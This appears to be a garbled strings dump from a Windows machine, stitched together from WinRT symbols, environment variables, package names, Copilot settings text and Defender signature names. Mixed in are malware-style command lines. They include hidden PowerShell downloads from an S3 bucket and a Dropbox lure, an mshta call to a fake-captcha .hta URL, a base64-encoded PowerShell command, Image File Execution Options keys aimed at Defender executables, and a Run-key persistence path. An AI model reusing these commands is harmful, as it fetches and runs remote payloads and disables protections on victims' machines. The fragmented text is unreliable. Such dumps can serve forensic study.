auto __cdecl winrt::impl::consume_Windows_Foundation_IAsyncOperation<struct winrt::Windows::Foundation::IAsyncOperation<struct winrt::Windows::Foundation::Collections::IVectorView<struct winrt::Windows::Services::Store::StorePackageUpdate> >,struct winrt::Windows::Foundation::Collections::IVectorView<struct winrt::Windows::Services::Store::StorePackageUpdate> >::Completed(const struct winrt::Windows::Foundation::AsyncOperationCompletedHandler<struct winrt::Windows::Foundation::Collections::IVectorView<struct winrt::Windows::Services::Store::StorePackageUpdate> > &) const
auto __cdecl winrt::impl::consume_Windows_Foundation_IAsyncOperation<struct winrt::Windows::Foundation::IAsyncOperation<bool>,bool>::Completed(const struct winrt::Windows::Foundation::AsyncOperationCompletedHandler<bool> &) const
auto __cdecl winrt::impl::consume_Windows_Foundation_IAsyncOperation<struct winrt::Windows::Foundation::IAsyncOperation<struct winrt::SharedUtilities::Stub::BackgroundTasks::Utilities::CdmConnection>,struct winrt::SharedUtilities::Stub::BackgroundTasks::Utilities::CdmConnection>::Completed(const struct winrt::Windows::Foundation::AsyncOperationCompletedHandler<struct winrt::SharedUtilities::Stub::BackgroundTasks::Utilities::CdmConnection> &) const
struct winrt::Windows::Services::Store::StorePackageUpdate __cdecl winrt::vector_view_base<struct winrt::impl::vector_impl<struct winrt::Windows::Services::Store::StorePackageUpdate,class std::vector<struct winrt::Windows::Services::Store::StorePackageUpdate,class std::allocator<struct winrt::Windows::Services::Store::StorePackageUpdate> >,struct winrt::impl::single_threaded_collection_base>,struct winrt::Windows::Services::Store::StorePackageUpdate,struct winrt::impl::collection_version>::GetAt(const unsigned int) const
void __cdecl winrt::vector_base<struct winrt::impl::vector_impl<struct winrt::Windows::Services::Store::StorePackageUpdate,class std::vector<struct winrt::Windows::Services::Store::StorePackageUpdate,class std::allocator<struct winrt::Windows::Services::Store::StorePackageUpdate> >,struct winrt::impl::single_threaded_collection_base>,struct winrt::Windows::Services::Store::StorePackageUpdate>::RemoveAtEnd(void)
void __cdecl winrt::vector_base<struct winrt::impl::vector_impl<struct winrt::Windows::Services::Store::StorePackageUpdate,class std::vector<struct winrt::Windows::Services::Store::StorePackageUpdate,class std::allocator<struct winrt::Windows::Services::Store::StorePackageUpdate> >,struct winrt::impl::s
iwshshell3.regread("hkey_current_user\console\windowsupdates");ihost.sleep(
-windowstylehidden"$
-windowstylehidden
KTEMP=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC\Temph
USERDOMAIN_ROAMINGPROFILE=Windows1
WINDOWS\sp
&bypasswindowsdefenderappn)rramsirlpcwstrpointerhandle
Microsoft-Windows-Client-Desktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
DriverData=C:\Windows\System32\Drivers\DriverData
powershell.exe-windowstylehidden-command"&{import-modulebitstransfer;start-bitstransfer'https://eeyhh567.s3.eu-west-3.amazonaws.com/image2.png
s RAM usageAutomatically open Copilot when you sign into WindowsBrowse with Microsoft Copilot, search with Bing, and shop at the Microsoft and Windows stores to earn free rewardsEarn Microsoft Rewards in Microsoft CopilotCopilot connects local browsing data from this profile with the rest of Windows.When turned on, Microsoft Copilot will connect local browsing data from this profile with the rest of Windows. Turning this feature on will help you find information from your history, top sites and recent tabs more easily using features such as the search box on the taskbar in Windows. If you turn off this feature Microsoft Copilot will remove the data shared with Windows on the device and stop sharing any new browsing data from this profile.Save content using Collections in Microsoft CopilotAlways have access to your recent browsing data each time you browse on Microsoft CopilotChoose confirm to stop Microsoft Copilot from importing browser data from other browsers.Application behavior and featuresCustomize general application behavior settings like asking before closing multiple tabs, mouse gesture, and split screenAllow Copilot to save your passwords and keep them safe.Energy saver helps save device battery and reduce power consumption when you
Microsoft.Windows.Print.DeviceConfiguration
Microsoft.Windows.WindowsErrorReporting
Microsoft.Windows.Security.TokenBroker
Microsoft.Windows.Graphics.DXCore
Microsoft.Windows.ResourceManager
Microsoft.Windows.Graphics.Direct2D
COMPUTERNAME=WINDOWS1
DOMAIN=Windows
 Windows 
P~MICROSOFTWINDOWS.CLIENT.CBS_CW5N1H2TXYEWY!WEBEXPERIENCEHOST
s RAM usageAutomatically open Copilot when you sign into WindowsBrowse with Microsoft Copilot, search with Bing, and shop at the Microsoft and Windows stores to earn free rewardsEarn Microsoft Rewards in Microsoft CopilotCopilot connects local browsing data from this profile with the rest of Windows.When turned on, Microsoft Copilot will connect local browsing data from this profile with the rest of Windows. Turning this feature on will help you find information from your history, top sites and recent tabs more easily using features such as the search box on the taskbar in Windows. If you turn off this feature Microsoft Copilot will remove the data shared with Windows on the device and stop sharing any new browsing data from this profile.Save content using Collections in Microsoft CopilotAlways have access to your recent browsing data each time you browse on Microsoft CopilotChoose confirm to stop Microsoft Copilot from importing browser data from other browsers.Application behavior and featuresCustomize general application behavior settings like asking before closing multiple tabs, mouse gesture, and split screenAllow Copilot to save your passwords and keep them safe.Energy saver helps save device battery and reduce power consumption when you
Model@WindowsUdk
wow64_microsoft-windows-webdavredir-clientonly_31bf3856ad364e35_none_e0c78f5c3d9f7a50
wow64_microsoft-windows-webdavredir-davclient_31bf3856ad364e35_none_41a53f8c4fc974f7
wow64_microsoft-windows-webdavredir-helper_31bf3856ad364e35_none_f8f51f1a591987e1
wow64_microsoft-windows-webdavredir-webclient_31bf3856ad364e35_none_985fb6f9b6bcbea2
wow64_microsoft-windows-webio-etw_31bf3856ad364e35_none_d3a72b44f205eca4
wow64_microsoft-windows-webio_31bf3856ad364e35_none_50eb08bc7911e6bf
wow64_microsoft-windows-webp-image-codec_31bf3856ad364e35_none_9296aea4f71e84f2
wow64_microsoft-windows-webservices-events_31bf3856ad364e35_none_c9794916b57101ef
wow64_microsoft-windows-webservices_31bf3856ad364e35_none_f2857d5ba9120299
wow64_microsoft-windows-wer-sdktools_31bf3856ad364e35_none_f86844805c6150c5
software\microsoft\windows\currentversion\runr
Collections@Foundation@Windows@winrt@@@std@@@impl@winrt@@
.?AU?$producer@Uargs@?$observable_vector_base@U?$convertible_observable_vector@IV?$vector@IV?$allocator@I@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@I@winrt@@UIVectorChangedEventArgs@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer_convert@Uargs@?$observable_vector_base@U?$convertible_observable_vector@IV?$vector@IV?$allocator@I@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@I@winrt@@UIVectorChangedEventArgs@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$root_implements@Uiterator@?$iterable_base@U?$convertible_observable_vector@IV?$vector@IV?$allocator@I@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@IUcollection_version@23@@winrt@@U?$IIterator@I@Collections@Foundation@Windows@3@@impl@winrt@@
.?AU?$implements@Uiterator@?$iterable_base@U?$convertible_observable_vector@IV?$vector@IV?$allocator@I@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@IUcollection_version@23@@winrt@@U?$IIterator@I@Collections@Foundation@Windows@3@@winrt@@
.?AU?$producers_base@Uiterator@?$iterable_base@U?$convertible_observable_vector@IV?$vector@IV?$allocator@I@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@IUcollection_version@23@@winrt@@V?$tuple@U?$IIterator@I@Collections@Foundation@Windows@winrt@@@std@@@impl@winrt@@
.?AU?$producer@Uiterator@?$iterable_base@U?$convertible_observable_vector@IV?$vector@IV?$allocator@I@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@IUcollection_version@23@@winrt@@U?$IIterator@I@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer_convert@Uiterator@?$iterable_base@U?$convertible_observable_vector@IV?$vector@IV?$allocator@I@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@IUcollection_version@23@@winrt@@U?$IIterator@I@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer@U?$convertible_observable_vector@IV?$vector@IV?$allocator@I@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@U?$IIterable@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$root_implements@U?$convertible_observable_vector@IV?$vector@IV?$allocator@I@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@U?$IObservableVector@I@Collections@Foundation@Windows@3@U?$IVector@I@5673@U?$IVectorView@I@5673@U?$IIterable@I@5673@U?$IObservableVector@UIInspectable@Foundation@Windows@winrt@@@5673@U?$IVector@UIInspectable@Foundation@Windows@winrt@@@5673@U?$IVectorView@UIInspectable@Foundation@Windows@winrt@@@5673@U?$IIterable@UIInspectable@Foundation@Windows@winrt@@@5673@@impl@winrt@@
\windows kits\
Windows
OWS\system32;C @8#D
WINDOWS\Syst
PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
SystemRoot=C:\WINDOWS
TEMP=C:\WINDOWS\TEMP
TMP=C:\WINDOWS\TEMP
mozilla/5.0 (windows nt 6.1; win64; x64; rv:66.0) gecko/
mozilla/5.0 (windows nt 10.0; win64; x64) applewebkit/
mozilla/5.0 (windows nt 6.1; win64; x64; rv:66.0) gecko/
mozilla/5.0 (windows nt 10.0; win64; x64) applewebkit/
mozilla/5.0 (windows nt 6.1; win64; x64; rv:66.0) gecko/
mozilla/5.0 (windows nt 10.0; win64; x64) applewebkit/
Uhstring@4@@experimental@std@@UIAsyncAction@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$producer_convert@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@Uhstring@4@@experimental@std@@UIAsyncInfo@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$producers_base@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@Uhstring@4@@experimental@std@@V?$tuple@UIAsyncAction@Foundation@Windows@winrt@@UIAsyncInfo@234@@4@@impl@winrt@@
.?AU?$producer@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@Uhstring@4@@experimental@std@@UIAsyncAction@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$produce_base@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@V?$vector@Uhstring@winrt@@V?$allocator@Uhstring@winrt@@@std@@@std@@_K@experimental@std@@UIAsyncInfo@Foundation@Windows@winrt@@X@impl@winrt@@
.?AUpromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@Uhstring@4@@experimental@std@@
.?AU?$produce_base@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@V?$vector@Uhstring@winrt@@V?$allocator@Uhstring@winrt@@@std@@@std@@_K@experimental@std@@UIAsyncAction@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$produce@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@V?$vector@Uhstring@winrt@@V?$allocator@Uhstring@winrt@@@std@@@std@@_K@experimental@std@@UIAsyncInfo@Foundation@Windows@winrt@@@impl@winrt@@
.?AU?$promise_base@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@V?$vector@Uhstring@winrt@@V?$allocator@Uhstring@winrt@@@std@@@std@@_K@experimental@std@@UIAsyncAction@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$produce@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@V?$vector@Uhstring@winrt@@V?$allocator@Uhstring@winrt@@@std@@@std@@_K@experimental@std@@UIAsyncAction@Foundation@Windows@winrt@@@impl@winrt@@
.?AU?$root_implements@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@V?$vector@Uhstring@winrt@@V?$allocator@Uhstring@winrt@@@std@@@std@@_K@experimental@std@@UIAsyncAction@Foundation@Windows@winrt@@UIAsyncInfo@678@@impl@winrt@@
.?AU?$implements@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@V?$vector@Uhstring@winrt@@V?$allocator@Uhstring@winrt@@@std@@@std@@_K@experimental@std@@UIAsyncAction@Foundation@Windows@winrt@@UIAsyncInfo@678@@winrt@@
.?AU?$producer@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@V?$vector@Uhstring@winrt@@V?$allocator@Uhstring@winrt@@@std@@@std@@_K@experimental@std@@UIAsyncInfo@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$root_implements_composable_inner@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@V?$vector@Uhstring@winrt@@V?$allocator@Uhstring@winrt@@@std@@@std@@_K@experimental@std@@$0A@@impl@winrt@@
.?AU?$producer_convert@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@V?$vector@Uhstring@winrt@@V?$allocator@Uhstring@winrt@@@std@@@std@@_K@experimental@std@@UIAsyncAction@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$producer_convert@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@V?$vector@Uhstring@winrt@@V?$allocator@Uhstring@winrt@@@std@@@std@@_K@experimental@std@@UIAsyncInfo@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$producers_base@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@V?$vector@Uhstring@winrt@@V?$allocator@Uhstring@winrt@@@std@@@std@@_K@experimental@std@@V?$tuple@UIAsyncAction@Foundation@Windows@winrt@@UIAsyncInfo@234@@4@@impl@winrt@@
.?AU?$producer@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@V?$vector@Uhstring@winrt
ComSpec=C:\WINDOWS\system32\cmd.exe
DriverData=C:\Windows\System32\Drivers\DriverData
C:\WINDOWS\system32\backgroundTaskHost.exeC
WindowsCreateStringReference
WindowsDeleteString
WindowsCompareStringOrdinal
WindowsGetStringRawBuffer
WindowsDuplicateString
WindowsCreateString
    <p>If you still see the error, contact the website owner.</p>"Software on your computer is preventing Microsoft Copilot from safely connecting to the web" (Windows computers only)The site $2 has failed to deliver an origin policy,
windows pas
WindowsVersion
System32\mr
Windows.Data.Shell.FocusSession
Windows.Data.Common.Color
Windows.Data.Common.Point
Windows.Data.Common.Rect
Windows.Data.Common.Size
Windows.Data.Platform.Partitioning.Partition
Windows.Data.Security.Vault.WebCredentials
Windows.Data.Platform.Encryption.ScalarValue
Windows.Data.Security.Vault.SettingUnit
Windows.Data.Calling.CallFavorites
Windows.Data.Input.PersonalWords.UsageInfo
Windows.Data.InternetExplorer.Favorites
Windows.Data.Messaging.KeyPathSettings
Windows.Data.Input.Text.RoamingDictionary
CloudData.WindowsClient.CloudDataAvailableWnf
Windows.Data.Input.Devices.TouchpadSettings
Windows.Data.InternetExplorer.TabRoaming
Windows.Data.Input.Devices.PenSyncedSettings
CloudData.WindowsClient.CloudDataAvailableWnf
Windows.Data.Input.PersonalWords.WordsUsage
Windows.Data.Platform.Encryption.ComplexValue
Windows.Data.PersonalizationThemes.Theme
Windows.Data.InternetExplorer.BrowserHistory
Windows.Data.ContrastThemes.SynchedTheme
Windows.Data.Platform.Encryption.StructureValue
CloudData.WindowsClient.CloudDataAvailableWnf
Windows.Data.Messaging.SettingsLocalCache
Windows.Data.Background.DesktopWallpaper
Windows.Data.Shell.FocusActiveSessions
Windows.Data.InternetExplorer.AutoComplete
Windows.Data.Shell.FocusSessionActiveTheme
Microsoft-Windows-CoreSystem-DISM-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
WindowsCreateString
WindowsCreateStringReference
WindowsDuplicateString
WindowsDeleteString
WindowsGetStringRawBuffer
WindowsGetStringLen
WindowsCompareStringOrdinal
WindowsIsStringEmpty
WindowsConcatString
\windows\currentversion\policies 
system32\
COMPUTERNAME=WINDOWS11
LOGONSERVER=\\WINDOWS11
SystemRoot=C:\WINDOWS
USERDOMAIN=Windows11
windir=C:\WINDOWS
Windows.DisplayIdFromDeviceId
Windows.DisplayIdFromDeviceKey
pnputil.pdbmicrosoft.windows.pnputil<description>pnputil</description>!#BM_FT:Vssadmin
C:\Windows\Microsoft.NET\Framework\v4.0.30319\
index.windows
\Windows
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mpcmdrun.exe
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msseces.exe
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msmpeng.exe
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msascui.exe
msWindowsShare
Nc:\windows\system32\windowspowershell\v1.0\powershell.exe-whidden-nop-noni-execbypass-cstart-process'https://www.dropbox.com/scl/fi/orgmmmqjchx1q89pu4kw0/hi_report_ua_2023.pdf?rlkey=1r47zvma7xu1wx30x3jb5n1od&e=1&st=9ct55d17&dl=0';mshta.exehttps://life-captcha.com/captcha/result/document.hta
c:\windows\system32\windowspowershell\v1.0\powershell.exe-ecwb0ageacgb0acaakabkagkacgagaemaogbcafcakgbzafwauwaqadiaxabtahmaaaaqaguakqagaccaaab0ahqacabzadoalwavagqazqatahaacgbpahyayqb0agsadqbuagqazqbuac4aywbvag0alwbmagkabablac8acgblagmazqbpahaadaatafqaqwatadianwazadkamgazadaalgbtahaanaanaa==
.?AU?$default_delete@VShareWindowCommandSourceProxyOwner@Bamo@ShareWindow@Shell@Internal@Windows@@@std@@
Windows.UI.Xaml.Controls.Debug
Windows.UI.Xaml.Controls.Perf
Windows.UI.Xaml.Controls
Windows.Ui.Xaml
Windows.UI.Xaml.Controls.pdb
onecoreuap\windows\moderncore\inputv2\inputprocessors\devices\gaze\api\lib\gazeinputsource.cpp
onecoreuap\windows\moderncore\inputv2\inputprocessors\devices\gaze\api\lib\gazeinputhostclient.cpp
onecoreuap\windows\moderncore\inputv2\inputprocessors\devices\gaze\api\lib\inputredirectionclient.cpp
onecoreuap\windows\moderncore\inputv2\inputprocessors\devices\gaze\api\lib\gazeinput.cpp
onecoreuap\windows\moderncore\inputv2\inputprocessors\devices\gaze\api\lib\gazeinputsourcestatics.cpp
onecoreuap\windows\moderncore\inputv2\inputprocessors\devices\gaze\api\lib\GazeDevice.h
onecoreuap\windows\moderncore\inputv2\inputprocessors\devices\gaze\api\lib\gazedevicewatcher.cpp
onecoreuap\windows\moderncore\inputv2\inputprocessors\devices\gaze\api\lib\gazeaccessmanager.cpp
onecoreuap\windows\moderncore\inputv2\inputprocessors\devices\gaze\api\lib\helpers.cpp
onecoreuap\windows\moderncore\inputv2\inputprocessors\devices\gaze\api\lib\gazedevice.cpp
onecoreuap\windows\moderncore\inputv2\inputprocessors\devices\haptic\api\client\pendevicewinrt.cpp
onecoreuap\windows\moderncore\inputv2\inputprocessors\devices\haptic\api\client\hapticfeedbacksettingswinrt.cpp
onecoreuap\windows\moderncore\inputv2\inputprocessors\devices\haptic\api\client\hapticdevicewinrtmanager.cpp
onecoreuap\windows\moderncore\inputv2\inputprocessors\devices\haptic\api\client\bamosimplehapticscontrollerimpl.cpp
onecoreuap\windows\moderncore\inputv2\inputprocessors\devices\stylus\events\client\PenEventsWinRT.h
onecoreuap\windows\moderncore\inputv2\inputhost\components\mpcmanager\lib\mpcconstantmanagerclient.cpp
onecoreuap\windows\moderncore\inputv2\inputhost\components\mpcmanager\lib\mpcmanagerclientconnection.cpp
Yonecoreuap\windows\moderncore\inputv2\inputhost\components\systemparameterscontroller\lib\systemparameterscontrollerwinrt.cpp
onecoreuap\windows\moderncore\inputv2\inputhost\components\viewhittest\lib\viewhittestclient.cpp
onecoreuap\windows\moderncore\inputv2\inputhost\components\viewhittestrequest\lib\viewhittestrequestclient.cpp
onecoreuap\windows\moderncore\inputv2\inputhost\components\uiahittest\client\uiahittestclient.cpp
onecoreuap\windows\moderncore\inputv2\inputhost\components\uiahittest\client\uiahittestproxy.cpp
onecoreuap\windows\moderncore\inputv2\inputprocessors\devices\dock\client\devicedockwatcher.cpp
onecoreuap\windows\moderncore\inputv2\inputprocessors\devices\dock\client\devicedockclient.cpp
OS=Windows_NT
Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
login.windows.net
windows.neu
windows.exe
!AGGR:WindowsMostlyCleanLocations.A
	WindowsFeedback
ext-ms-win-ntuser-windowstation-l1-1-1.dll
ext-ms-win-ntuser-windowstation-l1-1-0.dll
ext-ms-win-ntuser-windowstation-ansi-l1-1-1.dll
ext-ms-win-ntuser-windowstation-ansi-l1-1-0.dll
ext-ms-win-ntuser-windowstation-l1-1-2.dll
62^windows.appExtens
63^windows.appExtens
9c^windows.appService
.|c:\windows\system32
\WindowsSecurn
WindowsAppN
C:\Program Files\WindowsApps\Microsoft.Xbox.TCUI_1.23.28005.0_neutral_~_8wekybu
\C:\Program Files\WindowsApps\Microsoft.HEVCVideoExtension_2.4.39.0_neutral_~_8wz
Windows.Defender.MpUxDlpSystemapp:system2026-02-24 08:06:142026-02-24 08:06:14k
Microsoft.WindowsStore_8wekyb3d8bbwe!StoreCLIapp:immersive2026-02-21 11:25:032026-02-21 11:25:03y
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
GetWindowsDirectoryW
GetSystemWindowsDirectoryW
MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy
MicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewy
microsoftwindows.client.webexperience_cw5n1h2txyewy
c:\windows\
 (winlogon.exe)
_onecoreuap\windows\moderncore\inputv2\contextualprocessors\processors\systembutton\api\lib\systembuttoneventcontrollerwinrt.cpp
onecoreuap\windows\moderncore\inputv2\inputprocessors\devices\stylus\events\client\peneventsbamoclients.cpp
onecoreuap\windows\moderncore\inputv2\contextualprocessors\processors\lightdismiss\client\lightdismissclient.cpp
onecoreuap\windows\moderncore\inputv2\inputhost\components\deviceposture\lib\deviceposturewinrt.cpp
onecoreuap\windows\moderncore\inputv2\components\attachableinputobject\system\inputdelegation\client\lib\inputdelegationinputobjectwinrt.cpp
onecoreuap\windows\moderncore\inputv2\inputhost\dll\controllernavigation.cpp
onecoreuap\windows\moderncore\inputv2\inputhost\dll\contextualprocessors.cpp
s_WindowsTipEnabled
t update because it might still be running on your device under another Windows account. Please close all Microsoft Copilot application windows and try again.Allow updates to be downloaded as soon as they're available and applied when the application restarts.Automatically download updates over metered networks (for example, cellular network) and apply them on application restart. Charges may apply.Use double-click to close application tabsCustomize which buttons always show on your applicationShow Windows 11 visual effects in applicationFor this setting change to take effect, restart your applicationAllow Microsoft Copilot to save your passwords and help keep them secureMicrosoft Copilot will suggest strong passwords and, if you choose to use them, they
MicrosoftWindows.Client.CBSCN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=UScw5n1h2txyewyMicrosoftWindows.Client.CBS_cw5n1h2txyewy
MicrosoftWindows.59379618.InpAppCN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=UScw5n1h2txyewyMicrosoftWindows.59379618.InpApp_cw5n1h2txyewy
MicrosoftWindows.59337145.LivtopCN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=UScw5n1h2txyewyMicrosoftWindows.59337145.Livtop_cw5n1h2txyewy
MicrosoftWindows.59337133.VoiessCN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=UScw5n1h2txyewyMicrosoftWindows.59337133.Voiess_cw5n1h2txyewy
MicrosoftWindows.59336768.SpeionCN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=UScw5n1h2txyewyMicrosoftWindows.59336768.Speion_cw5n1h2txyewy
^-windowstylehidden`
Lua:LastFolder4!windows
Lua:LastFolder3!system32
Windows Defender Exploit Guard detected use of Win32 APIs from Macro code in Office files
q%localappdata%\microsoft\windowsapp6
<DefaultFloatWindowSize>k__BackingField
<ToolWindowSeparator>k__BackingField
onecoreuap\windows\frameworkudk\warppal.cpp
C:\WINDOWS\System32\Winevt\Logs\System.evtx
Microsoft-Windows-EnhancedStorage-EhStorTcgDrv
Microsoft-Windows-EventCollector
Microsoft-Windows-Eventlog
Microsoft-Windows-exFAT-SQM
Microsoft-Windows-FailoverCluste
windowsba
           targetNamespace="http://schemas.microsoft.com/appx/manifest/preview/windows10/msixappcompatsupport"
           xmlns="http://schemas.microsoft.com/appx/manifest/preview/windows10/msixappcompatsupport"
           xmlns:f="http://schemas.microsoft.com/appx/manifest/foundation/windows10"
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/foundation/windows10"/>
           targetNamespace="http://schemas.microsoft.com/appx/manifest/preview/windows10/packagecom"
           xmlns="http://schemas.microsoft.com/appx/manifest/preview/windows10/packagecom"
           xmlns:f="http://schemas.microsoft.com/appx/manifest/foundation/windows10"
           xmlns:previewcom="http://schemas.microsoft.com/appx/manifest/preview/windows10/packagecom"
           xmlns:com="http://schemas.microsoft.com/appx/manifest/com/windows10"
           xmlns:uap10="http://schemas.microsoft.com/appx/manifest/uap/windows10/10"
    <xs:import namespace="http://schemas.microsoft.com/appx/manifest/foundation/windows10"/>
    <xs:import namespace="http://schemas.microsoft.com/appx/manifest/com/windows10"/>
    <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/10"/>
com.microsoft.windows.extensionpackageC2
com.microsoft.windows.extensions.xaml.dragtrayB*
com.microsoft.windows.extensionpackageA*
com.microsoft.windows.extensionpackage@*
com.microsoft.windows.extensionpackage??
com.microsoft.windows.extensions.xaml.desktopstickereditor>)
com.microsoft.windows.extensions.xaml=*
com.microsoft.windows.extensionpackage<:
com.microsoft.windows.extensions.xaml.desktopspotlight;4
com.microsoft.windows.extension.desktopspotlight:.
com.microsoft.windows.app.desktopspotlight9*
com.microsoft.windows.extensionpackage8/
com.microsoft.windows.extension.shelluihost75
com.microsoft.windows.extension.crossdeviceresume6*
com.microsoft.windows.extensionpackage59
com.microsoft.windows.extensions.xaml.actionui.common4*
com.microsoft.windows.extensionpackage37
com.microsoft.windows.extension.shellhost.component27
com.microsoft.windows.extension.shellhost.component12
com.microsoft.windows.extensions.xaml.actionui0-
com.microsoft.windows.extensions.actionui/*
com.microsoft.windows.extensionpackage.&
com.microsoft.windows.app.accounts-+
com.microsoft.windows.services.accounts,7
com.microsoft.windows.extension.shellhost.component+7
com.microsoft.windows.extension.shellhost.component*7
com.microsoft.windows.extensions.xaml.accountdialog)*
com.microsoft.windows.extensionpackage(*
com.microsoft.windows.extensionpackage'%
com.microsoft.windows.telemetryid&3
com.microsoft.windows.extensions.xaml.textinput%*
com.microsoft.windows.extensionpackage$#
com.microsoft.windows.input.app#*
com.microsoft.windows.extensionpackage"%
com.microsoft.windows.telemetryid!6
com.microsoft.windows.extensions.xaml.livecaptions 0
com.microsoft.windows.extension.livecaptions
com.microsoft.windows.extensionpackage
com.microsoft.windows.extensionpackage
com.microsoft.windows.telemetryid
com.microsoft.windows.extensions.xaml.voiceaccessplugin
com.microsoft.windows.extensions.voiceaccessplugin
com.microsoft.windows.extensionpackage
com.microsoft.windows.extension.speechrecognizerextension
com.microsoft.windows.extensionpackage
com.microsoft.windows.extensions.xaml.voiceaccess
com.microsoft.windows.extension.voiceaccess
com.microsoft.windows.extensionpackage
com.microsoft.windows.extensionpackage
com.microsoft.windows.telemetryid
com.microsoft.windows.extension.speechsynthesizer
com.microsoft.windows.extensionpackage
com.microsoft.windows.extensionpackage
com.microsoft.windows.telemetryid
com.microsoft.windows.assetreference
com.microsoft.windows.extensions.xaml.taskbar
com.microsoft.windows.extensionpackage
com.microsoft.windows.extensions.xaml.systemtray
com.microsoft.windows.extensions.xaml.systemtray	*
com.microsoft.windows.extensionpackage
com.microsoft.windows.extensionpackage
com.microsoft.windows.telemetryid
com.microsoft.windows.extensions.xaml.webexperiencehost
com.microsoft.windows.extensions.xaml.voiceaccess
com.microsoft.windows.extensionpackage
com.microsoft.windows.extension.voiceaccess
windir=C:\WINDOWS
Windows-BootEnvironment
Windows NT +
FileDescriptionWindows Command Processorh$
 Windows
Software\Microsoft\Windows\Fjernsynsstation\Uninstall\rovseS
qwindows;
windows.net
windowsZones
SystemRoot=C:\WINDOWS
windir=C:\WINDOWS
WinRegGetSZInt: A Windows registry operation failed: Failed to open key. key path: SOFTWARE\VMware, Inc.\NeedReboot, value name: Components
start-process-windowstylehidden-filepath'cscript.exe'-argumentcmd/cC
